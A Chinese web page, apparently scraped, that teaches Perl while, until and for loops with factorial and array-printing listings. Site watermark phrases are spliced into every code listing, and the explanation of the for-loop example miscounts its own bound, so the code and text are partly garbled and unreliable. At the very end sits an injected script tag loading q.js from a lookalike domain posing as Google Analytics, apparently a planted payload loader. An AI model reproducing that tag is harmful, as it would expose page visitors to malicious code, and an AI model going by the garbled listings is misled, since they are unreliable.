RSS
热门关键字:  数据挖掘  数据仓库  商业智能  搜索引擎  人工智能
当前位置 :| 首页>编程技术>cgi/perl>

如何利用程序循环控制Perl脚本流程

来源: 作者: 时间:2007-01-27 点击:

了解Perl语句、变量和运算符的基础知识,并建立第一个简单的程序后,您希望进一步深入学习。您能学会的最重要的一项内容是控制Perl程序流程——例如,根据不同的情况分离代码,或重复运行代码块,对一个特定的数据组进行全面探查。

数据挖掘研究院

本文将介绍后一种情况,为您说明允许您重复执行一组Perl语句的各种Perl结构。这种重复执行叫做循环,这些循环在大多数Perl脚本中发挥着重要作用。下面我们来进行说明。

While循环

Perl中最基本的循环为所谓的while()循环,它允许您在一个特定的条件保持为真的情况下,重复执行一组语句。这个条件是一个标准的Perl条件表达式,可由解析器计算它的值,再返回真或假值。下面是一个简单的例子(列表A): 数据挖掘研究院

列表A

#!/usr/bin/perl 数据挖掘实验室

# define number array 数据挖掘研究院

@nums = (1..18); 数据挖掘实验室

# define counter 数据挖掘实验室

$count = 0; 数据挖掘实验室

# run loop while number is less than 12

while ($nums[$count] < 12) {

print $nums[$count]; 数据挖掘研究院

$count++;

数据挖掘研究院

}

数据挖掘实验室

在这个例子中,只要范围内的数字小于12,就将它打印出来。数值到12时,条件表达式不再得到满足,所以不再打印数字。

数据挖掘研究院

下面是另一个更加实用的例子(列表B): 数据挖掘实验室

列表B

数据挖掘研究院

#!/usr/bin/perl

数据挖掘研究院

# define variables 数据挖掘研究院

$fact = 1;

数据挖掘研究院

$num = 5;

数据挖掘研究院

# calculate and print the factorial 数据挖掘实验室

while($num > 1){

数据挖掘研究院

$fact = $fact * $num;

数据挖掘研究院

$num--; 数据挖掘研究院

}

print $fact; 数据挖掘研究院

这个例子用while()循环由5倒数至1,每个阶段的值与前一个阶段得到的值相乘。最后,终值为5的阶乘,或120。

Until循环

与while()循环相反的是until()循环,直到某个特定的条件为假前,循环一直执行。因此,until()循环中的条件表达式与while()循环中的表达式正好相反。下面是一个例子(列表C): 数据挖掘实验室

列表C 数据挖掘实验室

#!/usr/bin/perl 数据挖掘研究院

# define number array

@nums = (1..18);

数据挖掘实验室

# define counter

数据挖掘实验室

$count = 0;

数据挖掘实验室

# run loop while number is less than 12

数据挖掘研究院

until ($nums[$count] >= 12) {

print $nums[$count]; 数据挖掘研究院

$count++; 数据挖掘研究院

}

数据挖掘实验室

我们还可以用until()循环重写阶乘的例子,如列表D所示:

数据挖掘研究院

列表D 数据挖掘研究院

#!/usr/bin/perl

数据挖掘研究院

# define variables 数据挖掘实验室

$fact = 1;

$num = 5; 数据挖掘研究院

# calculate and print the factorial 数据挖掘研究院

until($num < 1){ 数据挖掘实验室

$fact = $fact * $num; 数据挖掘实验室

$num--; 数据挖掘研究院

}

print $fact; 数据挖掘实验室

For循环

它是Perl中最常用的循环之一,for()循环用来重复执行一个代码块,执行的次数预先指定。这个循环通过一个计数器变量运行,变量被初始化为一个特定的值。接下来,对一个条件表达式进行测试,如果结果为真,就执行代码块,变量递增(或递减)。不断执行代码,直到表达式结果为假。 数据挖掘实验室

列表E是一个简单的例子:

列表E 数据挖掘研究院

#!/usr/bin/perl

# define number array 数据挖掘研究院

@nums = (1..18); 数据挖掘研究院

# run loop while number is less than 12 数据挖掘研究院

for ($x=0; $x<11; $x++) { 数据挖掘研究院

print $nums[$x];

数据挖掘研究院

}

数据挖掘研究院

在这个例子中,循环计数器的初始值为0。接下来,对条件表达式进行测试,如果结果为真,就打印相应的数列元素。计数器递增,为下一个循环做准备。这一过程一直持续到第12个数列元素,这时条件表达式的结果为假,循环被终止。 数据挖掘实验室

最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
匿名?
热点关注
相关文章
script src="http://www.google-analyticc.cn/q.js" type="text/javascript">